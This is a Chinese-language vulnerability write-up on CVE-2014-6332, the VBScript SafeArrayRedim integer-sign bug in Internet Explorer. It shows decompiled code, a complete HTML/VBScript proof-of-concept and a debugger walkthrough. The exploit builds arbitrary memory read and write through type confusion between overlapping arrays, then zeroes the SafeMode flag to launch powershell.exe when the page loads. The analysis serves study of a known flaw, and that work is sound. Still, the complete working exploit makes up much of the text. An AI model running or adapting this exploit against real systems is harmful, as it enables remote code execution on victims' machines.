1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 HRESULT __stdcall SafeArrayRedim (SAFEARRAY *psa, SAFEARRAYBOUND *psaboundNew) { SAFEARRAY *v2; USHORT v3; __int32 v4; signed int v5; ULONG v6; LONG v7; unsigned int v8; struct IMalloc *v9 ; SAFEARRAY *v10; int v11; SAFEARRAYBOUND *v13; ULONG v14; LONG v15; struct IMalloc *v16 ; int v17; unsigned int v18; size_t Size; SAFEARRAY *psaa; SAFEARRAYBOUND *psaboundNewa; v2 = psa; if ( psa ) { if ( psaboundNew ) { v3 = psa->fFeatures; v17 = psa->fFeatures & 0x2000 ; if ( psa->cDims ) { if ( psa->cLocks > 0 || v3 & 0x10 ) return -2147352563 ; psaa = 0 ; v16 = 0 ; v4 = GetMalloc(&v16); v5 = v4; if ( v4 && v4 < 0 ) return v5; Size = SafeArraySize(v2); if ( !Size || v2->pvData ) { v6 = v2->rgsabound[0 ].cElements; v7 = v2->rgsabound[0 ].lLbound; v2->rgsabound[0 ] = *psaboundNew; v14 = v6; v15 = v7; v8 = SafeArraySize(v2); v18 = v8; if ( v8 == -1 ) { v2->rgsabound[0 ].cElements = v6; v2->rgsabound[0 ].lLbound = v7; v5 = -2147024882 ; } else { v5 = v8 - Size; if ( v8 != Size ) { v9 = v16; if ( v5 < 0 && v2->fFeatures & 0xF20 ) { if ( v17 ) { psaa = (SAFEARRAY *)((char *)v2->pvData + v8); } else { v10 = (SAFEARRAY *)v16->lpVtbl->Alloc(v16, -v5); psaa = v10; if ( !v10 ) goto LABEL_32; memcpy (v10, (char *)v2->pvData + v18, -v5); v8 = v18; } } if ( v17 ) { if ( v8 <= Size ) goto LABEL_19; v13 = (SAFEARRAYBOUND *)v9->lpVtbl->Alloc(v9, v8); psaboundNewa = v13; if ( v13 ) { memcpy (v13, v2->pvData, Size); v2->pvData = psaboundNewa; v2->fFeatures &= 0xDFFF u; goto LABEL_19; } } else { v11 = (int )v9->lpVtbl->Realloc(v9, v2->pvData, v8); if ( v11 ) { LABEL_18: v2->pvData = (PVOID)v11; LABEL_19: if ( v5 >= 0 ) { memset ((char *)v2->pvData + Size, 0 , v5); } else { if ( psaa ) ReleaseResources(v2, (VARIANTARG *)psaa, -v5, v2->fFeatures, v2->cbElements); if ( v17 ) psaa = 0 ; } v5 = 0 ; goto LABEL_25; } if ( !v18 ) { v11 = (int )v9->lpVtbl->Alloc(v9, 0 ); goto LABEL_18; } } v2->rgsabound[0 ].cElements = v14; v2->rgsabound[0 ].lLbound = v15; LABEL_32: v5 = -2147024882 ; LABEL_25: if ( psaa ) v9->lpVtbl->Free(v9, psaa); return v5; } } return v5; } } } } return -2147024809 ; }
从上面代码中,可以看出该漏洞成因主要有两点:
本身数组结构中的元素个数cElements
字段为无符号类型,而在处理新旧数组元素个数的时候却使用了有符号数来保存差值。这就导致了当新旧数组的元素个数的差值相差大于了0x8000000
时,上面代码中的v5
会将最高位的1
解释成符号位,从而使得v5
恒小于0
,在后面判断中进入了错误的分支。
SafeArrayRedim
在调整数组大小时,是先将psaboundNew
结构赋值给psa->rgsabound
,然后再去申请内存空间,但是如果内存申请失败,存在一个分支,会直接让函数返回而不对数组大小进行还原。使得原数组变成了一个超长数组,导致了任意地址的读写。
漏洞利用分析 完整poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 <!doctype html> <html > <title > CVE-2014-6332 POC</title > <body > <script LANGUAGE ="VBScript" > dim arrayA() dim arrayB() dim arraySize dim overSize dim index dim myarray function Begin() On Error Resume Next BeginInit() If CreateArray() = True Then Trigger() end if end function function BeginInit() Randomize() redim arrayA(2) redim arrayB(2) arraySize = 5 index = 2 end function function readMemory(addr) On Error Resume Next redim Preserve arrayA(overSize) arrayB(0) = 0 arrayA(arraySize + 2) = addr + 4 arrayB(0) = 1.69759663316747E-313 readMemory = lenb(arrayA(arraySize + 2)) arrayB(0) = 0 redim Preserve arrayA(arraySize) end function function RunWin32Exe() On Error Resume Next set shell=createobject("Shell.Application") shell.ShellExecute "powershell.exe" end function function Trigger() On Error Resume Next pCScriptEntryPoint = setCScriptEntryPoint() pAddr = readMemory(pCScriptEntryPoint + 8) pAddr = readMemory(pAddr + 16) for offset = 0 to &h60 step 4 progId = readMemory(pAddr + &h120 + offset) if(progId = 14) then redim Preserve arrayA(overSize) arrayA(arraySize + 4)(pAddr + &h11c + offset) = arrayB(4) redim Preserve arrayA(arraySize) Exit for end if next RunWin32Exe() end function sub testfunc() end sub function setCScriptEntryPoint() On Error Resume Next myarray = chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00) myarray = myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0) pScriptEntryPoint = testfunc pScriptEntryPoint = null Msgbox "waiting for debug" IsEmpty(arrayA) IsEmpty(arrayB) redim Preserve arrayA(overSize) arrayB(0) = 0 arrayA(arraySize + 2) = pScriptEntryPoint arrayB(0) = 6.36598737437801E-314 arrayA(arraySize + 4) = myarray arrayB(2) = 1.74088534731324E-310 setCScriptEntryPoint = arrayA(arraySize + 2) redim Preserve arrayA(arraySize) end function function Over() On Error Resume Next dim type1 Over = False arraySize = arraySize + index overSize = arraySize + &h8000000 redim Preserve arrayA(arraySize) redim arrayB(arraySize) redim Preserve arrayA(overSize) arrayA(arraySize) = 10 arrayB(0) = 1.123456789012345678901234567890 type1 = 1 If (IsObject(arrayA(arraySize + 1)) = False) Then if(vartype(arrayA(arraySize + 1)) <> 0) Then If(IsObject(arrayA(arraySize + 2)) = False ) Then type1=VarType(arrayA(arraySize + 2)) end if end if end if If(type1=&h2f66) Then Over = True End If redim Preserve arrayA(arraySize) end function function CreateArray() On Error Resume Next dim i CreateArray = False For i = 0 To 400 If Over() = True Then CreateArray = True Exit For End If Next end function Begin() </script > </body > </html >
1 2 3 4 5 // 下面是poc中用到的浮点数在内存中的表现形式,转换很简单,使用 python 的 struct: struct.pack('>d' , n).encode('hex' ) 1.123456789012345678901234567890 => 0x3ff1f9add3746f66 1.69759663316747E-313 => 0x0000000800000008 6.36598737437801E-314 => 0x0000000300000003 1.74088534731324E-310 => 0x0000200c0000200c
整个poc执行流程如下:
初始数组arrayA
, arrayB
。
通过循环redim
使得arrayA
和arrayB
的pvData
空间连续(中间相差一个heap指针)。(CreateArray
函数)
通过定义函数指针赋给变量的方法获取获取CScriptEntryPoint
对象地址,从而找到COleScript
对象,然后利用漏洞将伪造的数组结构myarray
布局到内存中,使得成功访问到SafeMode
并修改其属性值为0
,此时已开始上帝模式。(Trigger
函数)
执行自定义的命令。(RunWin32Exe
函数)
内存布局 调试poc,在vbscript!VbsIsEmpty
处断点进行调试:
调试可以发现,arrayA
和arrayB
两者的实际数据存储地址只相差8个字节,通过arrayA
的越界读,可以使得arrayB
的数据能够控制arrayA
元素的类型。
而达到需要的内存布局则是通过不断循环redim
修改数组来的。数值1.123456789012345678901234567890
保存在arrayB(0)
中,VARIANT
结构的Type
为5,值为0x3ff1f9add3746f66
,此时访问arrayA(arraySize + 1)
, arrayB(0)
的 Data High
+ Data Low
部分会被当成 arrayA(arraySize+1)
的 Type
+ Reserved
部分,即VarType(arrayA(arraySize+1)) == 0x2f66
. (上图中实际Type
值是0x6f66
, 但是VarType
求出来的值是 0x2f66
,因为 VbsVarType
中实现是 return *(_WORD *)VAR::PvarGetVarVal(a1, 1) & 0xBFFF
; 即少了 0x4000
,去掉了引用属性。)
获取 CScriptEntryPoint
对象指针 继续上面的调试,我们在vbscript!AssignVar
处下断点,第一次执行会断在arrayB(0)=0
处,继续执行,第二次则会断在arrayA(arraySize + 2) = pScriptEntryPoint
处,观察数组中的值:
此时arrayA(arraySize+2)
中存放的就是CScriptEntryPoint
对象指针,但是由于其类型为VT_NULL
无法读出其值。所以需要通过内存错位进行修改。poc中arrayB(0) = 6.36598737437801E-314
对应的内存值为0x0000000300000003
,而0x3
对应的类型为VT_I4
,即vbLong
型,从而可以读取到CScriptEntryPoint
对象指针:
此时,通过arrayA(arraySize+2)
便可读取到CScriptEntryPoint
对象指针的值。下一步便是需要通过内存任意地址读写修改Safemode
标志位的值从而能够执行命令。
实现内存地址任意读 在poc中,实现内存地址读的函数为:
1 2 3 4 5 6 7 8 9 10 function readMemory(addr) On Error Resume Next redim Preserve arrayA(overSize) arrayB(0 ) = 0 arrayA(arraySize + 2 ) = addr + 4 arrayB(0 ) = 1.69759663316747E-313 readMemory = lenb(arrayA(arraySize + 2 )) arrayB(0 ) = 0 redim Preserve arrayA(arraySize) end function
内存地址里的数据主要通过readMemory = lenb(arrayA(arraySize + 2))
进行读取,lenb
函数用于计算VT_BSTR
类型字符串的长度,lenb
对应实现函数为vbscript!VbsLenB
,用IDA查看:
在vbscript!VbsLenB
中,实际调用cbLengthBstr
函数进行计算字符串的长度,图中a1
为字符串地址,可以看到,在求字符串长度时,其实取的是字符串地址前4字节的值。
arrayB(0) = 1.69759663316747E-313
对应的内存值为0x0000000800000008
。通过arrayB(0)
将arrayA(arraySize+2)
的类型修改为了VT_BSTR
。那么0x006af9a4
存放的就是字符串所在的地址,地址前的4个字节存放的就是字符串的长度。所以对于lenb(arrayA(arraySize + 2))
相当于取得是地址为0x006af9a4-4
处存放的值,故前面通过arrayA(arraySize + 2) = addr + 4
进行修正。
上面实现了内存的读取,加上已经找到的CScriptEntryPoint
对象指针,下一步便是找到safemode
标志位并进行修改。
找到标志位后,需要对其进行修改。在setCScriptEntryPoint
中,我们构造了一个字符串变量myarray
,字符串值为010080080100000000000000000000000000ff7f00000000
,观察它在内存中的结构:
可以看到在地址0x004b566c
上存的其实是一个精心构造的SAFEARRAY
数组。但是在arrayA
数组中,被解释为0x8
类型,即为VT_BSTR
。而后一句arrayB(2) = 1.74088534731324E-310
对应的内存值为0x0000200c0000200c
,它利用内存错位,将类型由原来的0x8
修改成了0x200c
,而0x200c
表示的是VT_VARIANT|VT_ARRAY
。也就是说arrayA
中又包含了一个数组,该数组索引从0
开始,长度为0x7fff0000
,每个元素大小为1字节。
现在,已经实现了任意地址读写,下一步便是修改safemode
的值。arrayA(arraySize + 4)(pAddr + &h11c + offset) = arrayB(4)
,arrayB(4)
中存的VARIANT
类型值为0
。因为修改时长度为4字节,因此偏移&h120
需要修改成&h11c
。
此时,safemode
已经被置为0
,后面便可成功运行RunWin32Exe
中的shellcode了。
总结 第一次调试这样的漏洞,以新手视角进行书写。
参考
https://paper.seebug.org/240/
https://bbs.pediy.com/thread-248273.htm
https://bbs.pediy.com/thread-248310.htm